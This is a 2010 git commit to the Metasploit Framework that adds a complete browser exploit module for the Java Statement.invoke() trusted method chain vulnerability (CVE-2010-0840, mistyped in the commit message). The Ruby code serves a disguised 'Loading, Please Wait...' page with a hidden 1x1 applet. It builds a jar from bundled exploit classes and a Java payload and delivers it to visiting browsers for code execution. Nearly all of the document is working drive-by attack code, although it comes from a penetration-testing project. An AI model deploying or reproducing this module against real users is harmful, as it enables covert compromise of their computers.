Add exploit module for cve-2010-08040. This is an awesome bug and my description field doesn't do it justice

git-svn-id: file:///home/svn/framework3/trunk@10092 4d416f70-5f16-0410-b530-b9f4589650da
2010-08-21 06:38:29 +00:00 · 2010-08-21 06:38:29 +00:00 · 6b08dfed61
parent eda50fc89e
commit 6b08dfed61
5 changed files with 110 additions and 0 deletions
--- a/data/exploits/cve-2010-0840/vuln/Exploit$1.class
+++ b/data/exploits/cve-2010-0840/vuln/Exploit$1.class
--- a/data/exploits/cve-2010-0840/vuln/Exploit.class
+++ b/data/exploits/cve-2010-0840/vuln/Exploit.class
--- a/data/exploits/cve-2010-0840/vuln/Link.class
+++ b/data/exploits/cve-2010-0840/vuln/Link.class
--- a/data/exploits/cve-2010-0840/vuln/Test.class
+++ b/data/exploits/cve-2010-0840/vuln/Test.class
--- a/modules/exploits/multi/browser/java_trusted_chain.rb
+++ b/modules/exploits/multi/browser/java_trusted_chain.rb
@ -0,0 +1,110 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+require 'rex'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpServer::HTML
+
+	include Msf::Exploit::Remote::BrowserAutopwn
+	autopwn_info({ :javascript => false })
+
+	def initialize( info = {} )
+
+		super( update_info( info,
+			'Name'          => 'Java Statement.invoke() Trusted Method Chain Exploit',
+			'Description'   => %q{
+			This module exploits a vulnerability in Java Runtime Environment
+			that allows an untrusted method to run in a privileged context.  The
+			vulnerability affects version 6 prior to update 19 and version 5
+			prior to update 23.
+			},
+			'License'       => MSF_LICENSE,
+			'Author'        => [ 
+				'Sami Koivu', # Discovery
+				'Mathias Kaiser', # PoC
+				'egypt' # metasploit module
+			],
+			'Version'       => '$Revision$',
+			'References'    =>
+			[
+				[ 'CVE', '2010-0840' ],
+				[ 'OSVDB', '63483' ],
+				[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html' ],
+			],
+			'Platform'      => [ 'java' ],
+			'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
+			'Targets'       =>
+				[
+					[ 'Generic (Java Payload)',
+						{
+							'Arch' => ARCH_JAVA,
+						}
+					],
+				],
+			'DefaultTarget'  => 0,
+			'DisclosureDate' => 'Mar 31 2010'
+			))
+	end
+
+
+	def on_request_uri( cli, request )
+		if not request.uri.match(/\.jar$/i)
+			if not request.uri.match(/\/$/)
+				send_redirect(cli, get_resource() + '/', '')
+				return
+			end
+
+			print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )
+
+			send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
+			return
+		end
+
+		paths = [
+			[ "vuln", "Exploit.class" ],
+			[ "vuln", "Exploit$1.class" ],
+			[ "vuln", "Link.class" ],
+			[ "vuln", "Test.class" ],
+		]
+
+		jar  = payload.encoded_jar
+		paths.each do |path|
+			1.upto(path.length - 1) do |idx|
+				full = path[0,idx].join("/") + "/"
+				if !(jar.entries.map{|e|e.name}.include?(full))
+					jar.add_file(full, '')
+				end
+			end
+			fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-0840", path ), "rb")
+			data = fd.read(fd.stat.size)
+			jar.add_file(path.join("/"), data)
+			fd.close
+		end
+
+		print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )
+		send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
+
+		handler( cli )
+	end
+
+	def generate_html
+		html  = "<html><head><title>Loading, Please Wait...</title></head>"
+		html += "<body><center><p>Loading, Please Wait...</p></center>"
+		html += "<applet archive=\"Exploit.jar\" code=\"vuln.Exploit.class\" width=\"1\" height=\"1\">"
+		html += "</applet></body></html>"
+		return html
+	end
+
+end